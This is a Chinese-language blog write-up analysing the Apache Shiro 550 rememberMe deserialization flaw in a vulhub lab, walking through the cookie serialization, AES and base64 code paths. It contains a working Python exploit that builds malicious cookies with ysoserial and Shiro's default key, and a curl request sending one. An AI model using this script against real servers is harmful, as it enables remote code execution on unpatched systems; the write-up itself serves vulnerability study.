Apache Shiro 反序列化漏洞分析

CoLoo發表於2021-11-12

Shiro550

環境搭建

參考:https://www.cnblogs.com/twosmi1e/p/14279403.html

使用Docker vulhub中的環境

  1. docker cp 將容器內的shiro的jar包copy出來 docker cp dd54fcfb67c6:/shirodemo-1.0-SNAPSHOT.jar ~/Desktop
  2. 解壓jar包,IDEA開啟,在libraries 匯入該jar包
  3. modules 中新增解壓後的jar中BOOT_INF目錄
  4. 修改Docker File,新增遠端除錯埠
version: '2'
services:
 web:
   image: vulhub/shiro:1.2.4
   ports:
    - "8080:8080"
    - "5005:5005"
   command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

漏洞復現

em沒啥可復現的,github上相關工具一搜一大把,直接點點點就shell了。

漏洞分析

根據官方issue,可知該漏洞觸發點位於CookieRememberMeManager類,對於Cookie的處理為rememberSerializedIdentity方法。

該方法會Base64 編碼指定的序列化位元組陣列並將該 base64 編碼的字串設定為 cookie 值。

rememberSerializedIdentity

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                    "request and response in order to set the rememberMe cookie. Returning immediately and " +
                    "ignoring rememberMe operation.";
log.debug(msg);
        }
        return;
    }

    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);

    //base 64 encode it and store as a cookie:
    String base64 = Base64.encodeToString(serialized);

    Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
    Cookie cookie = new SimpleCookie(template);
    cookie.setValue(base64);
    cookie.saveTo(request, response);
}

該方法在其繼承類shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java 中被rememberIdentity方法呼叫,而rememberIdentity方法在onSuccessfulLogin方法中被呼叫。

rememberIdentity

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    rememberSerializedIdentity(subject, bytes);
}

onSuccessfulLogin

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
    //always clear any previous identity:
    forgetIdentity(subject);

    //now save the new identity:
    if (isRememberMe(token)) {
        rememberIdentity(subject, token, info);
    } else {
        if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
                    "RememberMe functionality will not be executed for corresponding account.");
        }
    }
}

那麼我們在onSuccessfulLogin方法下個斷點,先正向看看rememberMe的生成過程。

onSuccessfulLogin 方法中首先對過期的身份做一個清除,之後進入if中isRememberMe方法,在該方法中對傳入的token進行判斷當滿足以下條件:

  • token不為null
  • token屬於RememberMeAuthenticationToken型別
  • UsernamePasswordToken 類中rememberMe 屬性為true

才進入後續的rememberIdentity方法。

rememberIdentity方法中先呼叫getIdentityToRemember 方法獲取使用者登陸資訊,如賬號密碼。之後呼叫rememberIdentity 方法

繼續跟進,首先呼叫convertPrincipalsToBytes ,在convertPrincipalsToBytes 中將principals 作為引數呼叫serialize方法,該方法會返回一個byte陣列,繼續跟進

最終在DefaultSerializer#serialize對其序列化,並返回byte陣列

回到convertPrincipalsToBytes 方法,後續對序列化之後生成的byte陣列做了加密的操作,詳細流程在AbstractRememberMeManager#encrypt 方法中:

首先獲取加密模式,採用AES CBC

後續就是對其加密的詳細操作了,這裡不細說,AES加密時所需要的key預設在shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java檔案中

對byte流進行AES加密完之後會跳出encrypt方法,返回一個加密後的byte陣列

最終回到rememberIdentity 方法中,將AES加密後的陣列作為引數帶入rememberSerializedIdentity 方法。

rememberSerializedIdentity 方法中將序列化並進行AES加密後的byte陣列再做一層base64編碼,之後將其作為rememberMe的值新增到Cookie中

上面就是整個Shiro中生成rememberMe的流程,當勾選了rememberMe時,會對我們的登陸資訊(在Shiro中是封裝成了SimplePrincipalCollection 物件)進行 序列化 —> AES 加密 —> base64編碼 之後賦值給rememberMe並新增到Cookie中。

那同樣的,在AbstractRememberMeManager 類中會存在與生成rememberMe 完全相反的操作來反序列化rememberMe的值,我們拿py指令碼生成一個rememberMe其中攜帶URLDNS的payload發過去。

生成rememberMe的py指令碼

import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java','-jar','ysoserial.jar','URLDNS', command],
                             stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key ="kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ =='__main__':
# payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
payload = rememberme('http://u9az09.dnslog.cn')
    with open("./payload.cookie","w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res ="rememberMe={}".format(payload.decode())
        fpw.write(res)

利用,將rememberMe的值更換為我們生成的payload,IDEA中在AbstractRememberMeManager#getRememberedPrincipals 方法下斷點,Debug,傳送請求。

curl -X GET -H "Cookie: rememberMe=wwiuvj1NScOJENeOYBHiARm4HiwgjL44snGK34CPVGSAX5OMvboBo7aZNGBkridDmRVJHK6blSXX6c4KJKhbTF0gMtfGskn3HkjNwzf/bebgLMnqqbBLlZo+uKdu68AbtTm0JReTwR9lp66f3D8u1nk/sAA78XrW5t9TSNUWV/KbT1439TjbuD9arJ5m+mDIJ7rHCwC0zPzey013aoBYeXjTN06XpBKyx5+W03akcFsECVWWRzX7osVVejjwmK+stUNgunmqbOmK5UepPJbFjWrBrXQZDpUYWeQHRgHXtM78ApQhMLuj/lwtjwgjN0nONiIaymx0G2MSXfWl1DumEqEZy" http://127.0.0.1:8080/doLogin

跟進getRememberedSerializedIdentity 方法

首先在getCookie().readValue(request, response) 中通過cookie.getValue() 拿到我們構造好的rememberMe的值

首先在ensurePadding()方法中對序列化資料進行是否符合base64編碼規範的檢查,之後對資料進行base64解碼,返回解碼後的結果。

回到getRememberedPrincipals 方法,將解碼後的資料作為引數,呼叫convertBytesToPrincipals方法,繼續跟進。

呼叫decrypt方法,對資料進行解密

流程與之前加密的過程類似,先獲取CipherService 使用AES CBC解密資料,並將結果返回

回到convertBytesToPrincipals方法,呼叫deserialize

最終呼叫org/apache/shiro/io/DefaultSerializer#deserialize 進行反序列化。後續就是進入Gadget部分了

Shiro利用的難點

Shiro resolveClass()

這裡首先要提一下resolveClass() 方法

resolveClass 是反序列化中用來查詢類的方法,簡單來說,讀取序列化流的時候,讀到一個字串形式的類名,需要通過這個方法來找到對應的 java.lang.Class 物件。

Shiro中重寫了ObjectInputStream類的resolveClass函式,ObjectInputStreamresolveClass方法用的是Class.forName類獲取當前描述器所指代的類的Class物件。而重寫後的resolveClass方法,採用的是ClassUtils.forName

程式碼如下,可以看到,引數型別為String,第一眼看上去是不可以傳陣列進去。在P師傅的漫談中也提到了這個點,給出的結論是:如果反序列化流中包含非Java自身的陣列,則會出現無法載入類的錯誤。所以也就無法利用CC1等鏈的後半段為Transformer陣列的鏈了。

public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
        }

        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    } else {
        return clazz;
    }
}

對於該問題的解決可參考wh1t3p1g師傅的這篇文章https://www.anquanke.com/post/id/192619

大概意思是依然可以用CC2、CC4,因為CC2、CC4沒用到Transformer陣列,包括後來衍生出來的CommonsCollectionsK1鏈。

而CC2和CC4詳細內容可以看我之前的分析文章。

JRMP

而Orange師傅也提出了一種解決思路,可以用到JRMP去打,也是之前feihong工具中有提供的一種攻擊手法,但是需要目標出網。

目前來看,大部分的工具用來打shiro基本夠用了,現在感覺是shiro越來越少而且就算有很大一部分也是動態key...

CommonsBeanutils

這個在P師傅的安全漫談中也提到過,Shiro自帶CommonsBeanutils 1.8.3 所以可以用CB1和CB2去打,但利用CB1有些小問題。在yso中的CB鏈是1.9.2,所以會造成反序列化UID不一致導致利用不成功,需要改造一下CB鏈即可,因為沒有對CB鏈進行分析,這裡先鴿著,後續研究下感興趣的師傅可以看P師傅的安全漫談文章。

寫在最後

官方對於Shiro這個問題的修復是將預設Key被移除了,改為動態Key(Shiro 1.2.5),但是反序列化問題依然存在。

包括在後續版本中(shiro1.4.2)將 AesCipherService 中的預設密碼模式更新為 GCM(修復Shiro721)。

以及後續的Shiro各種許可權繞過也有待研究。

除錯有感:Eason 的歌yyds ?

Reference

java安全漫談

https://www.cnblogs.com/nice0e3/p/14183173.html](https://www.cnblogs.com/nice0e3/p/14183173.html#解密)

https://p2hm1n.com/2020/12/03/Shiro550-反序列化漏洞分析/](https://p2hm1n.com/2020/12/03/Shiro550-反序列化漏洞分析

相關文章